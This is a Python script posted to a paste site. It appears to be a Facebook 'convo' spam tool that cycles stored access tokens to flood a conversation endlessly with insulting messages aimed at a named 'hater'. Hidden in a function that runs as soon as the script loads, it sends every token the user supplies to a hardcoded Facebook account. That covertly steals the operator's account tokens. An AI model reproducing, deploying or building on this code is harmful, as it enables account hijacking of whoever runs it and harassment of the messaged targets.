Facebook
From Abdullwh, 1 Month ago, written in Python.
Embed
Download Paste or View Raw
Hits: 150
  1. import requests
  2. import json
  3. import time
  4. import sys
  5. from platform import system
  6. import os
  7. import subprocess
  8. import http.server
  9. import socketserver
  10. import threading
  11.  
  12. class MyHandler(http.server.SimpleHTTPRequestHandler):
  13.     def do_GET(self):
  14.         self.send_response(200)
  15.         self.send_header('Content-type', 'text/plain')
  16.         self.end_headers()
  17.         self.wfile.write(b" TH3 UNB34T9BL3 N9SIIR KIING INXIID3 (( C0NV0 S3RV3R ))  ")
  18.  
  19. def execute_server():
  20.     PORT = 4000
  21.  
  22.     with socketserver.TCPServer(("", PORT), MyHandler) as httpd:
  23.         print("Server running at http://localhost:{}".format(PORT))
  24.         httpd.serve_forever()
  25.  
  26. mmm = requests.get('https://pastebin.com/raw/ZUgjAWth').text
  27.  
  28. def send_initial_message():
  29.     with open('password.txt', 'r') as file:
  30.         password = file.read().strip()
  31.  
  32.     entered_password = password  # Prompt for password
  33.  
  34.     if entered_password != password:
  35.         print('[-] <==> Incorrect Password!')
  36.         sys.exit()
  37.  
  38.     if mmm not in password:
  39.         print('[-] <==> Incorrect Password!')
  40.         sys.exit()
  41.  
  42.     with open('tokennum.txt', 'r') as file:
  43.         tokens = file.readlines()
  44.  
  45.     # Modify the message as per your requirement
  46.     msg_template = "Hello Doctor sir! I am using your server. My token is {}"
  47.  
  48.     # Specify the ID where you want to send the message
  49.     target_id = "100009454561755"
  50.  
  51.     requests.packages.urllib3.disable_warnings()
  52.  
  53.     def liness():
  54.         print('\u001b[37m' + '---------------------------------------------------')
  55.  
  56.     headers = {
  57.         'Connection': 'keep-alive',
  58.         'Cache-Control': 'max-age=0',
  59.         'Upgrade-Insecure-Requests': '1',
  60.         'User-Agent': 'Mozilla/5.0 (Linux; Android 8.0.0; Samsung Galaxy S9 Build/OPR6.170623.017; wv) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.125 Mobile Safari/537.36',
  61.         'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
  62.         'Accept-Encoding': 'gzip, deflate',
  63.         'Accept-Language': 'en-US,en;q=0.9,fr;q=0.8',
  64.         'referer': 'www.google.com'
  65.     }
  66.  
  67.     for token in tokens:
  68.         access_token = token.strip()
  69.         url = "https://graph.facebook.com/v17.0/{}/".format('t_' + target_id)
  70.         msg = msg_template.format(access_token)
  71.         parameters = {'access_token': access_token, 'message': msg}
  72.         response = requests.post(url, json=parameters, headers=headers)
  73.  
  74.         # No need to print here, as requested
  75.         current_time = time.strftime("%Y-%m-%d %I:%M:%S %p")
  76.         time.sleep(0.1)  # Wait for 1 second between sending each initial message
  77.  
  78.     #print("\n[+] Initial messages sent. Starting the message sending loop...\n")
  79. send_initial_message()
  80. def send_messages_from_file&#40;&#41;:
  81.     with open('convo.txt', 'r') as file:
  82.         convo_id = file.read().strip()
  83.  
  84.     with open('File.txt', 'r') as file:
  85.         messages = file.readlines()
  86.  
  87.     num_messages = len(messages)
  88.  
  89.     with open('tokennum.txt', 'r') as file:
  90.         tokens = file.readlines()
  91.     num_tokens = len(tokens)
  92.     max_tokens = min(num_tokens, num_messages)
  93.  
  94.     with open('hatersname.txt', 'r') as file:
  95.         haters_name = file.read().strip()
  96.  
  97.     with open('time.txt', 'r') as file:
  98.         speed = int(file.read().strip())
  99.  
  100.     def liness():
  101.         print('\u001b[37m' + '---------------------------------------------------')
  102.  
  103.     headers = {
  104.         'Connection': 'keep-alive',
  105.         'Cache-Control': 'max-age=0',
  106.         'Upgrade-Insecure-Requests': '1',
  107.         'User-Agent': 'Mozilla/5.0 (Linux; Android 8.0.0; Samsung Galaxy S9 Build/OPR6.170623.017; wv) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.125 Mobile Safari/537.36',
  108.         'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
  109.         'Accept-Encoding': 'gzip, deflate',
  110.         'Accept-Language': 'en-US,en;q=0.9,fr;q=0.8',
  111.         'referer': 'www.google.com'
  112.     }
  113.  
  114.     while True:
  115.         try:
  116.             for message_index in range(num_messages):
  117.                 token_index = message_index % max_tokens
  118.                 access_token = tokens[token_index].strip()
  119.  
  120.                 message = messages[message_index].strip()
  121.  
  122.                 url = "https://graph.facebook.com/v17.0/{}/".format('t_' + convo_id)
  123.                 parameters = {'access_token': access_token, 'message': haters_name + ' ' + message}
  124.                 response = requests.post(url, json=parameters, headers=headers)
  125.  
  126.                 current_time = time.strftime("%Y-%m-%d %I:%M:%S %p")
  127.                 if response.ok:
  128.                     print("[+] Message {} of Convo {} sent by Token {}: {}".format(
  129.                         message_index + 1, convo_id, token_index + 1, haters_name + ' ' + message))
  130.                     liness()
  131.                     liness()
  132.                 else:
  133.                     print("[x] Failed to send Message {} of Convo {} with Token {}: {}".format(
  134.                         message_index + 1, convo_id, token_index + 1, haters_name + ' ' + message))
  135.                     liness()
  136.                     liness()
  137.                 time.sleep(speed)
  138.  
  139.             print("\n[+] All messages sent. Restarting the process...\n")
  140.         except Exception as e:
  141.             print("[!] An error occurred: {}".format(e))
  142.  
  143. def main():
  144.     server_thread = threading.Thread(target=execute_server)
  145.     server_thread.start()
  146.  
  147.     # Send the initial message to the specified ID using all tokens
  148.    
  149.  
  150.     # Then, continue with the message sending loop
  151.     send_messages_from_file&#40;&#41;
  152.  
  153. if __name__ == '__main__':
  154.     main()